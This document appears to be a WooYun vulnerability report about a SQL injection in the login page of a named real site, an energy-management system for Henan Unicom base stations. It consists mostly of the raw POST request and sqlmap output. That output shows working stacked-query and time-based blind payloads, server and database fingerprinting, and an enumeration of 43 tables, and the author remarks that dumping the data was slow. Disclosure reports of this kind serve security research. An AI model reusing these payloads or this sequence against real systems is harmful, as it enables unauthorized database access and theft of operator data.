WooYun.org

http://henan.chinajsth.com/index.asp?f=y
河南联通基站合同能源管理项目节电分析系统
post数据：
POST /login.asp HTTP/1.0
Host: henan.chinajsth.com
Proxy-Connection: keep-alive
Content-Length: 88
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://henan.chinajsth.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://henan.chinajsth.com/index.asp?f=y
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDCSTASABB=FPHFCAOAPDKFKGLNGBIAHAHF
user_name=111&user_password=11&inUserID=&inUserName=&inUserType=&inUserModule=&inYYSIDs=
注入数据：
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: user_name (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: user_name=111'; WAITFOR DELAY '0:0:5'--&user_password=11&inUserID=&
inUserName=&inUserType=&inUserModule=&inYYSIDs=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: user_name=111' WAITFOR DELAY '0:0:5'--&user_password=11&inUserID=&i
nUserName=&inUserType=&inUserModule=&inYYSIDs=
---
[22:20:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[22:20:08] [INFO] fetching current database
[22:20:08] [INFO] resumed: EMCDB_HN
current database: 'EMCDB_HN'
[22:20:08] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\henan.chinajsth.com'
[*] shutting down at 22:20:08

跑表：
Database: EMCDB_HN
[43 tables]
+----------------------+
| Plat_AlarmLog |
| Plat_CommandLog |
| Plat_CommandTask |
| Plat_CrcHi |
| Plat_CrcLo |
| Plat_DTU |
| Plat_DTUData |
| Plat_DTUStat |
| Plat_DTUTemp |
| Plat_Data |
| Plat_DataTemp |
| Plat_Data_His |
| Plat_DefAlarm |
| Plat_DefCol |
| Plat_DefParam |
| Plat_DefStatus |
| Plat_KongTiao |
| Plat_Log |
| Plat_LoginHis |
| Plat_Meter |
| Plat_MeterData |
| Plat_MeterData_His |
| Plat_MeterParam |
| Plat_MeterStatus |
| Plat_MeterStatus_His |
| Plat_MeterStep |
| Plat_MeterStepDef |
| Plat_MeterType |
| Plat_Moni |
| Plat_Report |
| Plat_SMSLog |
| Plat_SMSTask |
| Plat_Serv |
| Plat_SimIn |
| Plat_Site |
| Plat_SiteAlarm |
| Plat_SiteFee |
| Plat_SiteJNType |
| Plat_SiteStatus |
| Plat_Sser |
| Plat_Wendu |
| Plat_YYS |
| dtproperties |
+----------------------+

跑数据太慢了。。。